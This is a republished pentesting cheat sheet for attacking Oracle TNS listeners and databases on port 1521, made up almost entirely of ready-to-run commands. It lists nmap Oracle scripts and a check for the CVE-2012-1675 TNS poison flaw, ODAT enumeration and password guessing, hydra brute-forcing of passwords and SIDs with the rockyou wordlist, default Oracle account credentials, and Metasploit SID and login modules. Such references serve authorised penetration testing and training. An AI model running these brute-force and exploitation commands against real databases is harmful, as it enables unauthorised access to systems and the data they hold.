Pentesting Oracle TNS listener/ Database - Chaeatsheet - Port 1521
2023-8-14 22:7:0 Author: www.hackingdream.net(查看原文) 阅读量:39 收藏


#nmap
nmap -Pn -sV -p1521 --script=oracle* 10.10.10.10

#Check for service Version
#Oracle Database 11g 11.1.0.7, 11.2.0.2, and 11.2.0.3, and 10g 10.2.0.3, 10.2.0.4, and 10.2.0.5,
#try this exploit 
GitHub - bongbongco/CVE-2012-1675: Oracle Database TNS Listener Poison Attack Vulnerability 
 nmap -Pn -sT --script=+oracle-tns-poison.nse -p 1521 10.10.10.10

Oracle SQL:
1521/TCP
1630/TCP
3938/HTTP
ODAT - Oracle Database Attacking Tool

#Download the release 
https://github.com/quentinhardy/odat/releases/
tar -xvf filename

#Run 
./odat all -s 10.10.10.10
./odat all -s 10.10.10.10 -d SID_NAME
./odat all -s 10.10.10.10 -d ''

#Check with creds
./odat all -s 192.168.1.254 -p 1521 -d ORCL -U SYS -P password

#bruteforce when you know SID
./odat all -s 10.10.10.10 -d '' --accounts-file accounts/accounts_multiple.txt
#Enum - Doesn't work if password protected 
sudo apt install tnscmd10g

#Version
tnscmd10g version -h 10.10.10.10
#Status
tnscmd10g status -h 10.10.10.10

#Login to DB
sqsh -S IP_Address:PORT -u username -p password
Brute Forcing 
#Passwords
hydra -P /usr/share/wordlists/rockyou.txt -t 32 -s 1521 10.10.10.10 oracle-listener
hydra -P /usr/share/wordlists/rockyou.txt -t 32 -s 1521 10.10.10.10 oracle

#SID
#Download wordlist from here
hydra -L /usr/share/oscanner/services.txt -s 1521 10.10.10.10 oracle-sid

#Brutefocing Creds - Require SID
./odat passwordguesser -d SID_NAME -s 10.10.10.10 -p 1521 --accounts-file accounts/accounts_multiple.txt
Default Passwords

DBSNMP/DBSNMP — Intelligent Agent uses this to talk to the db server (its some work to change it)
SYS/CHANGE_ON_INSTALL — Default sysdba account before and including Oracle v9, as of version 10g this has to be different!
PCMS_SYS/PCMS_SYS — Default x account
WMSYS/WMSYS — Default x account
OUTLN/OUTLN — Default x account
SCOTT/TIGER — Default x account
Metasploit

use auxiliary/scanner/oracle/sid_enum
use auxiliary/admin/oracle/tnscmd
use auxiliary/admin/oracle/sid_brute 
use auxiliary/admin/oracle/oracle_login

文章来源: https://www.hackingdream.net/2023/08/pentesting-oracle-tns-listener-database.html
如有侵权请联系:admin#unsafe.sh